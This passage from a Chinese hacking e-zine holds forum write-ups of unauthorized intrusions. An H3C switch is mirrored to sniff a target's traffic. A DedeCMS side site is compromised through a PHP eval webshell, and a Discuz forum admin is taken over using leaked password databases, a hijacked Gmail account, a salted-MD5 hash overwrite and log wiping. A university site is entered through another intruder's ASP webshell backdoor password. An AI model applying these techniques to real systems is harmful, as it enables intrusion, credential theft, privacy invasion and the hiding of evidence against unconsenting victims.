成功的获取到密码" admin"(忘了说 我前面是故意没有试 admin 的)之后便可以通过这个密码 telnet 登陆到交换机中。

如图 4-5-7,并成功的进入到 system-view 状态。



图 4-5-7

#### 交换机下的渗透过程

在成功通过 telnet 登陆到交换机后我们便可以开始收集交换机的各种配置信息(vlan 划分, super 密码,路由表信息。Ip 池划分等等)并且这些信息除了 super 密码以外基本都可以通过 snmp 的一个可读字符串获取到。

而且对于思科设备来讲。

如果有个可读可写的团体字符串,那么直接就可以下载到 cisco 的核心配置文件(含密码字符 串等).

这里需要简单的说说三层交换机的两个最主要的功能,vlan 划分以及端口镜像.端口指的是 交换机上的端口,而不是计算机的服务端口。

端口镜像则是指将交换机某个端口下的数据镜像到另一个端口的技术,并且可以选择镜像流入或流出的数据包。

这一技术通常应用在企业监控,流量分析中。在端口镜像时也应注意流量过高引发的问题。 这次测试便是通过端口镜像技术获取到 dataserver 发送和接受到的数据包。 我们先分析下这台交换机的配置文件,如图 4-5-8:



图 4-5-8

在这里我们可以看到 super 密码 这个密码通过 ciper 加密。加密的字符串可以通过 http://pan.baidu.com/s/1iQ6Kq 这个脚本解密。 接下来看看 ip-pool 的划分。 配合前期 nslookup 收集到的信息可以进一步清晰的逼近目标,如图 4-5-9:



图 4-5-9

根据上图可以发现我们现在处于 vlan200 中,目标处于 vlan100,域控在 300。 那么我们继续看看每个正在使用的接口被划分到了哪个 vlan 中,如图 4-5-10:



这里可以看到 Ethernet 1/0/3 在 vlan100 中.而 Ethernet 1/0/4 在 vlan200 中,也就是我们所处的 vlan。

清楚接口划分之后我们开始建立一个本地镜像组1,如图4-5-11:



图 4-5-11

然后制定被镜像的端口号,图 4-5-12:

[H3C]mirroring-gro	pup 1 ?
local	Local mirroring group
mirroring-port	Specify mirroring port
monitor-port	Specify monitor port
reflector-port	Specify reflector port
remote-destinati	on Remote destination mirroring group
remote-probe	Specify remote probe vlan
remote-source	Remote source mirroring group
[H3C]mirroring-gro	bup 1 mi
[H3C]mirroring-gro	oup 1 mirroring-port E
[H3C]mirroring-gro	oup 1 mirroring-port Ethernet 1/0/3 ?
Ethernet	Ethernet interface
GigabitEthernet	GigabitEthernet interface
both	Monitor the inbound and outbound packets
inbound	Monitor the inbound packets
outbound	Monitor the outbound packets
to	Range of interfaces
[H3C]mirroring-gro	oup 1 mirroring-port Ethernet (1/0/23 bod UN WW
[H3C]mirroring-gro	oup 1 mirroring-port Ethernet 🏼 🌆 🔂 👘 🖓 👘
[H3C]	



接着制定监控端口号,如图 4-5-13:

[H3C]mirroring-group 1 moni [H3C]mirroring-group 1 monitor-port e [H3C]mirroring-group 1 monitor-port Ethernet 1/0/4 [H3C]

图 4-5-13

然后登陆到我们控制的 webserver。使用抓包软件分析目标的数据包。

这是捕获 ICMP 数据包的示意图,如图 4-5-14:

	•			
📶 Capturing from Intel (R) PRO/100	0 <b>IT N</b> etwork Connection:	\Device\HPF_{F8B2	5858-9380-430	C1-
<u> File E</u> dit <u>V</u> iew <u>G</u> o <u>C</u> apture <u>A</u> nalyz	e <u>S</u> tatistics Telephon <u>y T</u> o	ols <u>I</u> nternals <u>H</u> elp		
	ଅ ≞    ⇔ ⇔ ≼	> ₮ ⊻   🗉 🗉	$  \oplus \mathbf{Q} \rangle$	11
Filter: ip. addr==5.5.6.4 and icmp		Expression	. Clear A	(pp
No. Time Source	Destination	Protocol Leng	th Info	
10269 175.480952 5.5.6.1	5.5.6.4	ICMP	98 Echo (p	ind
10330 176.495464 5.5.6.4	5.5.6.1	ICMP	98 Echo (p	in
10331 176.497274 5.5.6.1	5.5.6.4	ICMP	98 Echo (p	ing
10346 177.511266 5.5.6.4	5.5.6.1	ICMP	98 Echo (p	ing
10347 177.512173 5.5.6.1	5.5.6.4	ICMP	98 Echo (p	ing
10355 178.526817 5.5.6.4	5.5.6.1	ICMP	98 Echo (pr	ing
10356 178.527720 5.5.6.1	5.5.6.4	ICMP	98 Echo (p	ing
10375 179.542442 5.5.6.4	5.5.6.1	<b>J</b> CMP	98 Echo (p	ing
10376 179.543322 5.5.6.1	5.5.6.4	"\ICMP	98 Echo (p	ing
10385 180.558077 5.5.6.4	5.5.6.1	ICMP	98 Echo (p	ing
10386 180.558972 5.5.6.1	5.5.6.4	ICMP	98 Echo (p	ing
10397 181.573701 5.5.6.4	5.5.6.1	ICMP	98 Echo (p	ing
10000101 575600 5 6 4 1	E E G A	TOMO	DO Esha (as	i na

rdesktop - 172.10.0.3

图 4-5-14

这是捕获 HTTP 数据包的示意图,如图 4-5-15:

		rdesktop - 172.10.0	0.3	
Capturing fro	∍ Intel(R) PRO/1000 ∎	T Network Connection:	\Device\MPF_{F8B25	B58-93B0-43C1-8)
<u>File E</u> dit <u>V</u> iew	<u>G</u> o <u>C</u> apture <u>A</u> nalyze	<u>Statistics Telephony To</u>	ools <u>I</u> nternals <u>H</u> elp	
	🗑   🖻 🖬 🗶 😂	! 吕│ ⇔ ≼	> 7 2   🗉 📑	
Filter: ip. addr=	=5.5.6.4 and http		Expression	Clear Apply
No. Time	Source	Destination	Protocol Lengt	h Info
14499 228.18	30031 5.5.6.4	172.10.0.3	HTTP 24	41 GET / HTTP/
14500 228.18	30034 5.5.6.4	172.10.0.3	HTTP 24	41 [TCP Retran
14501 228.19	0465172.10.0.3	5.5.6.4	HTTP 3	51 HTTP/1.1 20
14502 228.19	0679172.10.0.3	5.5.6.4	HTTP 3	61 [TCP Retran
14500 228	. 180034000 5. 5. 6. 4 17	2.10.0.3 HTTP 241 [TC	P Retransmission] G	ET / HTTP/1.1
	FJOU. ZAI DYCES ONA	ane (1920 Dits), a	z <del>ai byces capture</del>	<u>, (Tase pice)</u>
Ethernet	II, Src: H3cTechn	_c0:e1:45 (38:22:d0	6:c0:e1:45), Dst:	Vmware_b9:d4:
+ Internet	Protocol Version 4	4, SrC: 5.5.6.4 (5.	.5.6.4), DST: 1/2.	.10.0.3 (1/2.1
+ Transmis	sion Control Proto	col, Src Port: 434J	16 (43416), DST P	ort: nttp (80,
+ Hyperice	(t fransfer Protoco	1		
0040 00 0	0 47 45 54 20 2f 20	) 48 54 54 50 2f 3	31 2e 31 <mark></mark> GET /	′ HTTP/1.1
0050 Od 0	a 55 73 65 72 2d 41	L 67 65 6e 74 3a 2	20 63 75User-	A gent: cu
	ic 2T 37 2e 31 39 2e id 72 65 64 68 61 74	2 37 20 28 78 38 3 1 20 60 60 60 75 7	30 DT 30 - FI/7.19 78 Dd 67 - 4-redba	0. 7 (X80_0 dt _lipux_d
0080 6e 7	'5 29 20 6c 69 62 63	3 75 72 6c 2f 37 2	2e 31 39 <b>nu</b> ) lik	ic url/7-19
	7 70 4n 52 52 7f 22	<u>, 20 21 22 20 26 2</u>		
I Internet Dr	otocol Version 4 s	ат.ч) (38.22.00.00 ас: 5 5 6 4 (5 5 6	(1) Det · 172 10	0.2 (172 10.0
The Thee Her Fr	000001 version 4, 3	лс. э.э.о.4 (э.э.o		A.2 (T.6)TA.0
🔲 Transmissio	n Control Protocol	- Src Port: 43416 (	(43416) 🖉 nstruption	

图 4-5-15

其他协议也应如此,具体分析过程就不叙述了。

#### 后记

路由和交换机在渗透过程中越来越常见,并且由于管理员配置经验欠当。经常出现默认配置,弱口令等配置不当的问题。而且路由和交换机在网络中所处的位置也更加体现了它在一次渗透过程中的重要性.

#### 参考

H3C 以太网交换机配置指南

wireshark 抓包实战分析指南 第二版

WooYun: 中国移动 H3C 防火墙侧漏利用 snmp 获取管理员密码成功登录设备

(全文完)责任编辑: 鲨影\_sharow

### 第13节 Discuz x3 曲折删帖

作者: 哼哼哈哈

来自:法客论坛 - F4ckTeam

网址: http://team.f4ck.org/

好久没发帖子了,刚好今天休息,把最几天刚搞的一点东西,整理总结了一下,写出来分享 给众基友,无亮点,大牛勿喷。

话说某天妹子找我,让我帮她删个帖子,年少无知的时候在论坛里留的个人信息和图片,让 我帮忙删了于是就有了此文。

#### 0x1 顺利旁站

简单看了下,服务器 linux,主站用的是 Discuz X3,这么高端的 cms,我等小菜一没有 Oday, 二没有 exp,上网搜了一下 x3 的有关漏洞,算了,想多了。然后御剑看了下旁站,如图 1-2-1:



图 1-2-1

好在还有一个站,不然就无从下手了,随手在域名后面加了个 robots.txt, 如图 1-2-2:

User-agent: \* Disallow: /plus/ad\_js.php Disallow: /plus/advancedsearch.php Disallow: /plus/car.php Disallow: /plus/carbuyaction.php Disallow: /plus/shops\_buyaction.php Disallow: /plus/erraddsave.php Disallow: /plus/posttocar.php Disallow: /plus/disdls.php Disallow: /plus/feedback\_js.php Disallow: /plus/mytag\_js.php Disallow: /plus/rss.php Disallow: /plus/search.php Disallow: /plus/recommend.php /plus/stow.php /plus/count.php Disallow: Disallow: Disallow: /include Disallow: templets eam



一下兴奋了,这不织梦嘛,再看下版本,www.xxx.com/data/admin/ver.txt,版本是 20121030, 有戏,再看下后台在不在,www.xxx.com/dede,如图 1-2-3:

用户名:		
密码:		微 搜虎精品 图区
验证码:	ROBI 看不清?	www.souho.net

图 1-2-3

后台也在,版本够老,应该没难度。拿着之前爆的修改管理员的漏洞一顿乱试(没想到找工 具,全手工了,悲剧),进后台了,想着直接从后台拿 shell,就进模块---辅助插件里的文件 管理器,进了 plus 目录,好家伙,直接有个 90sec.php,省事了,如图 1-2-4:

魚	<ul> <li>□ 上传新模块</li> </ul>	修改/新建文件:	
史	□ 模块生成向导	工作目录	/plus
生成	→ 辅助插件	文件名称	90sec.php
₩ 采集 会员	<ul> <li>● 插件管理器</li> <li>● 挑错管理</li> <li>● 百度新闻</li> <li>● 文件管理器</li> </ul>	php eval (\$_POS</td <td>T[guige]);?&gt; <b>4CK</b> Security Team</td>	T[guige]);?> <b>4CK</b> Security Team

图 1-2-4

直接上菜刀(心想这事简单了,跨目录,找个配置文件,改数据库,打完收工,可是),如 图 1-2-5:



图 1-2-5

不让跨目录,你妹,好吧,那我提个权再跨总行了吧,执行命令看个内核,如图 1-2-6:



图 1-2-6

心中顿时一万头草泥马呼啸而过,后续试了不少办法,未果。 (无奈小菜就会这么点东西,大牛勿笑)

#### 0x2 简单社工

旁站未果,只能硬着头皮从主站下手,没 Oday 怎么办。找管理员猜密码。(我能告诉你很多 管理员密码就设个 admin 或者 123456 嘛),在主站置顶的帖子一顿乱翻,找到了两个管理 员账户,N 个版主,超级版主账户。挨个猜了一遍,竟然还有每个 ip 只能尝试 5 次密码的 限制,你妹,开个代理继续试。试的手都软了也没试一个,人品不行啊。那就社工吧,找了 一个管理员账户名相对小众的,这样百度,google 起来没压力。

PS:现在好像没有给力的社工库啊。连个密码泄露都没地方查,好在安全宝可以参考一下 http://lucky.anquanbao.com/,如图 1-2-7:

密码泄漏查询结果		×
	非常遗憾,您的个人账号信息已经 们很容易从互联网上下载到)。 由于被泄露的帐号信息易被黑客叫 议您修改使用相同信息的其他互助	经被泄漏(尽管安全宝已经隐藏了您的信息,实际上它 收录并尝试获取其他互联网服务的资料,安全宝强烈建 联网服务的账户资料。
来源:某技术社区	用户名:*	邮箱:
来源:某大型论坛	用户名:*	邮箱: 155*****@163.com 4CK Security Team

图 1-2-7

技术社区,应该是 csdn 了,大型论坛?莫非天涯,好在当年库泄露最火的时候本地保存了 这两个库,本地果然查到了,如图 1-2-8:



图 1-2-8

然后拿去论坛试了一下,尼玛,两个密码都不对,又试了各种组合都不行。 好吧,管理,你赢了。 那就试试其他的,用密码成功登了百度,还有谷歌邮箱,如图 1-2-9:

第 95 页/共 122 页 官方微博: http://t.qq.com/hackcto 出版日期: 每月 15 日

《安全参考》——信息安全整合型期刊

官方网站:www.hackcto.com

杂志编号: HACKCTO-201507-31

Gmail -		С	更多操作▼	
写邮件		收件人:	_	关键词工具 - google广告策划师: www.google.
<b>收件箱 (1)</b> 已加星标		收件人:	ona	讲课内容
重要邮件		收件人:	ona	(无主题)
已发邮件		收件人:		seo合同 - 合同
▶圈子		收件人:		<b>苹果数据</b> - 你好
旅行相关		收件人:	aopin	<b>应聘网站运营维护高级经理</b> - 简历在附件中,谢
私人邮件 Notes		收件人:		应聘网站分析师 - 简历在附件中,谢谢阅读。
显示更多标签▼		收件人:	aopin	应聘seo - 简历在附件中,谢谢阅读。
		收件人:		应聘seo工程师 - 简历在附件中,谢谢阅读。
与亲朋好友保持联络。让 圈子中的人能在环聊中与 聊天。 了報送達		收件人:		应聘seo - 简历在附件中,谢谢阅读。
允许我的圈子与我聊天		收件人:	_zhaopin2	应聘seo - 简历在附件中,谢谢阅读。
发起新环聊	$\Box \Leftrightarrow \square$	收件人:	hoo-hr	<b>应聘seo</b> - 简历在附件中,谢谢阅读。
• • •		收件人:	liu	应聘seo,邱冬简历 - 简历在附件中,谢谢阅读
		收件人:	jf	应聘seo - 简历在附件中,谢谢阅读。
		收件人:	os	应聘SEM专员 - 简历在附件中,谢谢阅读。
bi liu		收件人:	aopin	应聘网站经理(百万在附件中)谢谢凤运
9	34% + 0	K/5 华人: K/5	hky_hr	应聘seo - 简历在附件中,谨谨阅读。 Pam

图 1-2-9

好小子,这哥们一直在找 seo 的工作,还拿到了他的简历。

东北大学的研究生,1982年的。不行,那就找回密码看看有邮箱,那试试论坛的找回密码功能呗。

提示拥有站点设置权限的用户不能用取回密码功能,真是悲剧,如图 1-2-10:

2求			
2 Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Lines Line	*Email:	xt 🎥 gmail.com	
	用户名:	xtemuii0	
		提交	
		6	
		抱歉,创始人、受保护用	户、拥有站点设置权力的用户不能使用取回查码功能
		图 1 0 10	

图 1-2-10

第 96 页/共 122 页 官方微博: http://t.qq.com/hackcto 出版日期: 每月 15 日 电子杂志: 免费

拿到邮箱也没用,社工这条路也走不下去了。后续又简单社了其他几个账户,都没什么结果。 0x3 **柳暗花明** 

小菜能想到的也就这几个手段,无奈啊。也不知怎的,手贱就在旁站传了个大马(不要问我 为什么,我也不知道怎么想的传了),然后发现大马竟然可以执行命令,如图1-2-11:

198.199.9 <b></b> - L	inux - Alexa	
文件管理	命令参数 uname -a	命令集合 💟执行
批量挂马	Linux xt 💭 2.6.18-308.1.1.e15 #1 SMP Wed Mar 7 04:17:30 EST	2012 i686 i686 i386 GNU/Linux
批量清马		
批量替换		
扫描木马		<b>Security</b> Team

图 1-2-11

内核 2. 6. 18-308. 1. 1. e15,看了一下,有 2. 6. 18 的提权 exp,试试吧,反正也没其他办法 大马转发,如图 1-2-12:



图 1-2-12

看了下权限,如图 1-2-13:

uid=501(www) whoami	gid=501(www)	groups=501 (www)
ωωω		
	囱 1_9_13	

然后更手贱的就输了个列目录的命令,然后手一抖,写成之前没法跨的目录,如图 1-2-14:

dir /home/wwwroot			
default	www.ae.co	m www.s <mark>tanyi</mark> ?.com	www.x=====o.com
shop. 💼 in .com	www.q <b>ining</b> .net	www. n.com	
-			

图 1-2-14

尼玛,这是什么情况,怎么纯天然的跨目录,刚刚菜刀不是给跨吗?

到现在也没想明白,菜刀跟转发的权限不都是一样的,怎么一个让跨,一个不让跨,

(后来发现大马的命令执行一样可以列目录,早知道大马可以,也不用费半天劲去社工了, 浪费了大把大把的时间啊。).

难道菜刀用的函数被禁了???大牛们,求解,剩下的就简单了,cat下 Discuz X3 配置文件 (根目录/config/config\_global.php),如图 1-2-15:

文件管理       命令参数 [cat /home/www.oot/www.fill com/config/config_global.php] -命令集合- ▼ 执行         批量结马       《?php         批量结马       \$_config = array():         //	198.199.5 - Linu	x - Alexa			
批量挂马 <pre></pre>	文件管理	命令参数 cat /home/www.	.com/config/config_global.php	命令集合 ⊻ 🚺	执行
批量潜马       \$_config = array();         批量替换       //	批量挂马	php</th <th></th> <th></th> <th>^</th>			^
#######       //	批量清马	<pre>\$_config = array();</pre>			
打描木马       \$_config['db']['1']['dbuset'] = 'localhost';         \$_config['db']['1']['dbuset'] = 'localhost';         \$_config['db']['1']['dbuset'] = 'localhost';         \$_config['db']['1']['dbuset'] = 'dbb';         \$_config['db']['1']['dbcharset'] = 'gbk';         \$_config['db']['1']['dbname'] = 'dbb';         \$_config['db']['1']['dbname'] = 'tbehrb';         \$_config['db']['1']['dbname'] = 'tbehrb';         \$_config['db']['1']['dbname'] = 'tbehrb';         \$_config['db']['1']['dbname'] = 'teer';         \$_config['db']['1']['dbname'] = 'teer';         \$_config['nemory']['slave_except_table'] = '';         \$_config['nemory']['prefix'] = 'ANFmD_';         \$_config['nemory']['prefix'] = 'ANFmD_';         \$_config['nemory']['prefix'] = 1;         \$_config['nemory']['mencache']['server'] = '';         \$_config['nemory']['mencache']['port'] = 11211;         \$_config['nemory']['mencache']['port'] = 11;         \$_config['nemory']['mencache']['timeout'] = 1;         \$_config['nemory']['prefis']['server'] = '';         MYSQL&RA       \$_config['nemory']['mencache']	批量替换	// 0	ONFIG DB	//	
\$\$config['db']['1']['dbw'] = 'gBM';         \$\$ \$\$config['db']['1']['dbcharset'] = 'gbK';         \$\$ \$\$ \$\$config['db']['1']['dbcharset'] = 'gbK';         \$\$ \$\$ \$\$ \$\$ \$\$ \$\$ \$\$ \$\$ \$\$ \$\$ \$\$ \$\$ \$\$	扫描木马	<pre>\$_config['db']['1']['dbhost'] = '1 \$_config['db']['1']['dbuser'] = '1</pre>	ocalhost'; b';		_
执行命令       \$_config['db']['1']['pconnect'] = '0';         组件接口       \$_config['db']['1']['thanae'] = 'thehrb';         第_config['db']['1']['thanae'] = 'pre_';         指描端口       \$_config['db']['1']['thanae'] = 're,';         //       \$_config['db']['1']['thanae'] = '';         //       \$_config['memory']['prefix'] = 'ANFmD_';         //       \$_config['memory']['prefix'] = 'ANFmD_';         //       \$_config['memory']['prefix'] = 1;         Linux提叔       \$_config['memory']['memcache']['server'] = '';         ServU提叔       \$_config['memory']['memcache']['prot'] = 11211;         MYSQL提叔       \$_config['memory']['memcache']['prot'] = 11;         MYSQL提叔       \$_config['memory']['memcache']['timeout'] = 1;         MYSQL执行       \$_config['memory']['apc'] = 1;         MYSQL执行       \$_config['memory']['apc'] = 1;	系统信息	<pre>\$_config['db']['1']['dbpw'] = 'QSM \$_config['db']['1']['dbcharset'] =</pre>	gbk';		
组件接口       \$_config['db']['1]['tablepre'] = 'pre_':         第_config['db']['common']['slave_scept_table'] = '':         扫描端口         //       %_config['db']['slave'] = '':         //       %_config['memory']['prefix'] = 'AhYFmD_':         %_config['memory']['eacelerator'] = 1;         %_config['memory']['eacelerator'] = 1;         %_config['memory']['memcache']['server'] = '';         ServU提权       %_config['memory']['memcache']['server'] = 1;         MYSQL提权       %_config['memory']['memcache']['timeout'] = 1;         %_config['memory']['memcache']['server'] = '';       %_config['memory']['memcache']['timeout'] = 1;         MYSQL提权       %_config['memory']['memcache']['server'] = '';         MYSQL提和       %_config['memory']['memcache']['server'] = '';         MYSQL执行       %_config['memory']['memcache']['server'] = '';	执行命令	<pre>\$_config['db']['1']['pconnect'] = \$_config['db']['1']['dbname'] = 't;</pre>	'0'; hehrb';		
11描端口       3_config[db][slave] = ";         沒索文件       \$_config[nemory]['prefix'] = 'ANFmD_';         Linux提叔       \$_config['nemory']['prefix'] = 1;         \$_config['nemory']['mencache']['port] = 1;         \$_config['nemory']['mencache']['port] = 1:211;         \$_config['nemory']['mencache']['timeout'] = 1;         \$_config['nemory']['mencache']['timeout'] = 1;         \$_config['nemory']['apc'] = 1;         \$_config['nemory']['apc'] = 1;         \$_config['nemory']['peris']['server'] = '';         MYSQL执行       \$_config['nemory']['peris']['server'] = '';	组件接口	<pre>\$_config['db']['1']['tablepre'] = \$_config['db']['common']['slave_ex</pre>	'pre_'; cept_table'] = '';		
搜索文件       \$_config['nemory']['prefix'] = 'ANYEnD_':         Linux提权       \$_config['nemory']['reacelerator'] = 1;         ServU提权       \$_config['nemory']['mencache']['server'] = '';         ServU提权       \$_config['nemory']['mencache']['porti'] = 11211;         MYSQL提权       \$_config['nemory']['mencache']['porti'] = 11211;         MYSQL提校       \$_config['nemory']['mencache']['timeout'] = 1;         MYSQL执行       \$_config['nemory']['mencache']['timeout'] = 1;	扫描端口	<pre>\$_config['db']['slave'] = '; (// config['db']['slave'] = ';</pre>	TTA MEMORY		
Linux提权 \$_config['memory']['xeache']=1; \$_config['memory']['memcache']['port']=1!211; \$_config['memory']['memcache']['port']=1!211; \$_config['memory']['memcache']['port']=1:211; \$_config['memory']['memcache']['port']=1:211; \$_config['memory']['memcache']['timeout']=1; \$_config['memory']['memcache']['timeout']=1; \$_config['memory']['memcache']['timeout']=1; \$_config['memory']['memcache']['timeout']=1; \$_config['memory']['memcache']['timeout']=1; \$_config['memory']['memcache']['timeout']=1; \$_config['memory']['memcache']['timeout']=1; \$_config['memory']['memcache']['timeout']=1; \$_config['memory']['memcache']['timeout']=1; \$_config['memory']['memcache']['timeout']=1; \$_config['memory']['memcache']['timeout']=1; \$_config['memory']['memcache']['timeout']=1; \$_config['memory']['memcache']['timeout']=1; \$_config['memory']['memcache']['timeout']=1; \$_config['memory']['memcache']['timeout']=1; \$_config['memory']['memcache']['timeout']=1; \$_config['memory']['memcache']['timeout']=1; \$_config['memory']['memcache']['timeout']=1; \$_config['memory']['memcache']['timeout']=1; \$_config['memory']['memcache']['timeout']=1; \$_config['memory']['memcache']['timeout']=1; \$_config['memory']['memcache']['timeout']=1; \$_config['memory']['memcache']['timeout']=1; \$_config['memory']['memcache']['timeout']=1; \$_config['memory']['memcache']['timeout']=1; \$_config['memory']['memcache']['timeout']=1; \$_config['memory']['memcache']['timeout']=1; \$_config['memory']['memcache']['timeout']=1; \$_config['memory']['memcache']['timeout']=1; \$_config['memory']['memcache']['timeout']=1; \$_config['memory']['memcache']['timeout']=1; \$_config['memory']['memcache']['timeout']=1; \$_config['memory']['memcache']['timeout']=1; \$_config['memory']['memcache']['timeout']=1; \$_config['memory']['memcache']['timeout']=1; \$_config['memory']['memcache']['timeout']=1; \$_config['memory']['memcache']['timeout']=1; \$_config['memory']['memcache']['timeout']=1; \$_config['memory']['timeout']=1; \$_config['memory']['timeout']=1;	搜索文件	<pre>\$_config['memory']['prefix'] = 'Ah' \$_config['memory']['prefix'] = 'Ah'</pre>	FIG MEMORY YFmD_': - 1.	//	
ServU提权       \$_config['memory] ['memcache']['port] = 11211;         MYSQL提权       \$_config['memory] ['memcache']['port] = 1;         MYSQL提校       \$_config['memory] ['memcache']['timeout'] = 1;         MYSQL执行       \$_config['memory] ['remory] ['remory] ['memcache']['timeout'] = 1;         MYSQL执行       \$_config['memory] ['remory] ['	Linux提权	<pre>\$_config['memory']['xcache'] = 1; \$_config['memory']['xcache'] = 1; \$_config['memory']['memory']['memory']</pre>	- 1, 		
MYSQL提权         \$_config('memory')['memory']['memory']=1;           MYSQL提行         \$_config('memory')['memory']['memory']=1;           MYSQL执行         \$_config('memory')['memory']['server']='';	ServU提权	<pre>\$_config['memory']['memcache']['se \$_config['memory']['memcache']['pc \$_config['memory']['memcache']['pc</pre>	rt'] = 11211; oppest'] = 1;	ACV.	60
MYSQLAAT \$_config['memory']['redis']['server'] = '':	MYSQL提权	<pre>\$_config['memory']['memcache']['ti: \$_config['memory']['apc'] = 1:</pre>	meout'] = 1;	H AUN	-U-
	MYSQL执行	\$_config['memory']['redis']['serve	r'] = '';	<b>L</b> Becurity	I eam

图 1-2-15

拿到数据库连接信息,成功连到主站数据库。然后就是删帖工作了,到站点找到帖子,根据 图片网址里的相对路径换成绝对路径,用命令 rm 之。然后找到用户表(pre\_ucenter\_members) 里管理员的账户。什么,账户的 hash 加了 salt,破不开 md5?

谁让你破了,直接拿着盐,按照 md5(md5(123456).salt)的方式构造一个 md5,然后把它 update 给管理员账户,就可以拿着 123456 大摇大摆的管理论坛了。管理完了,别忘了再把原来的 hash 给人家 update 回去,什么,之前你没存? O, shit,菜刀,右键,文本格显示,能看到 你的数据库查询记录。如果这个也没有,那么我也没办法了。然后有素质的别忘了擦擦屁股,什么登陆时间,登陆 ip,还有个什么运行记录,就是之前的多次猜密码的日志(这个好像不 在数据库里,在 data\log 目录里)

不多说了,到此结束。

PS: 图片打码, 如有漏点, 敬请手下下留情, 谢谢。

(全文完)责任编辑: 鲨影\_sharow

### 第14节 渗透某大学,激情六杀!

作者: StrOng

- 来自:法客论坛 F4ckTeam
- 网址: http://team.f4ck.org/
- 0x00 前言
- 0x01 闲的蛋疼撸个站,想来想去就近撸一个大学吧
- 0x02 心不死转战 C 段站
- 0x03 Jwc 已撸 Nic 你离死也不远了!
- 0x04 扫描出货
- 0x05 一些东西和后记
- 0x06 感谢

#### 0x00 写在前言

一年前的我为法客周年庆写了一篇渗透我们学校的文章获得了 37 多页的回复,但是给我带 来太多的苦恼 2cto lcx.cc 91ri 都转载了我的文章,转载的同时因为没有打好码,我渗透的目 标饱受那些大黑阔们的摧残,直到我联系到他们叫他们 delete 掉文章,然后我开启疯狂模

第 98 页/共 122 页 官方微博: http://t.qq.com/hackcto 出版日期: 每月 15 日 电子杂志: 免费

式把学校的补丁给打了杀软给装了。真是一次闹剧。而今天给大家带来的是另外一所大学。 没啥目的,只为法客2周年,写起来让大家乐呵乐呵。技术不好,过程写的很轻松,运气很 好,如有不对欢迎斧正。

0x01 闲的蛋疼撸个站,想来想去就近撸一个大学吧

破壳一扫,随便打开简直吓尿,如图 1-3-1:



图 1-3-1

有先人来过了,FUCK,如图 1-3-2:



图 1-3-2

看来有 webshell, http://www.0dayboy.com/1.asp, 扔进自己的爆破工具就去吃饭了。回来发现毛都没,拿着试试看的心里去找了下后门,如图 1-3-3:

🥖 🤭 蓝蓝版ASP木马 (黑色版本) 🛛 🗙 🔀 版ASP木马 (黑色版本)_百度 🗙 💽	
← → ②	<b>▼</b> €
要快速访问,诸将网址放在收藏夹栏中的这一位置。 <u>立即导入收藏</u>	
	查查厳ASP术马(黑色、颜本)
	<b>密码:</b> 登录
	注:请勿用于丰法用途,否则后果作者欄不负责

图 1-3-3

想到现在的黑阔们都会把别人版权改成自己的,然后就把大黑阔蓝蓝的名字去掉搜索关键字, 关键字版 ASP 木马(黑色版本),如图 1-3-4:

各大ASP木马后门双密码

目元十二Webshell9.UVIP版相便梦云熵修改版 弊过应证 ovv
新い(出) (X=X Cruch admin
?WeD=admin 还有目中先关ico上现,
还有勿思宪求ASP大与,咨询
?PageName=PageName
黑羽黑客基地小马默认密码
donqee
kaifeng
华夏版小马,也有 双密码,不过俺给忘了 ^_^
抽时间给大家找找哈!"朽木奥运版最新ASP木马(黑色版本)""朽木奥运版最新ASP木马(绿色版本)""黑客动画吧奥运版最新
ASP木马(黑色版本)" "黑客动画吧最新ASP木马(绿色版本)"
这个的后门是 ?Pass=UserPass 🛛 👞
这个麻烦点,输入后要刷新!!
转载 <u>http://zzz.hk</u>
#新闻:中本
一翻百度还真尼玛有后门,哈哈哈,如图 1-3-5:
🔇 www.
🔇 🗤
🔍 www/1. asp?Pass=UserPass - 百度 搜索
the second second
重重版4SPA

图 1-3-5 啪<sup>~</sup>就进去了,哈哈笑尿无比的运气啊,如图 1-3-6:

要快速访问,请将网址放在	1. asp 收藏来栏中的这一位置。 <u>立即导入收藏</u>	ឃ ្					م د
地址栏:						转到	山刷
蓝蓝版ASP末马(黑色版本	🖏 🔄 xylyhimg 🕨 Del Copy Move						
命本王碩会	▶1.asp	ASP 文件	95K	2013-9-26 0:37:23	Edit	Del	Cop
「世祖院堂」	▶ 520.asp	ASP 文件	1K	2013-10-15 14:17:55	Edit	Del	Cop
·····································	article00.php	PHP 文件	31K	2013-10-9 14:08:12	Edit	Del	Cor
**********	▶ bbs.asp	ASP 文件	22K	2013-6-8 8:33:06	Edit	Del	Cor
▶ GW日求忌结	▶cmd.bt	文本文档	0K	2013-9-5 22:29:52	Edit	Del	Cop
NC:#Flugra~i	Conn.asp	ASP 文件	5K	2013-3-3 16:43:29	Edit	Del	Cop
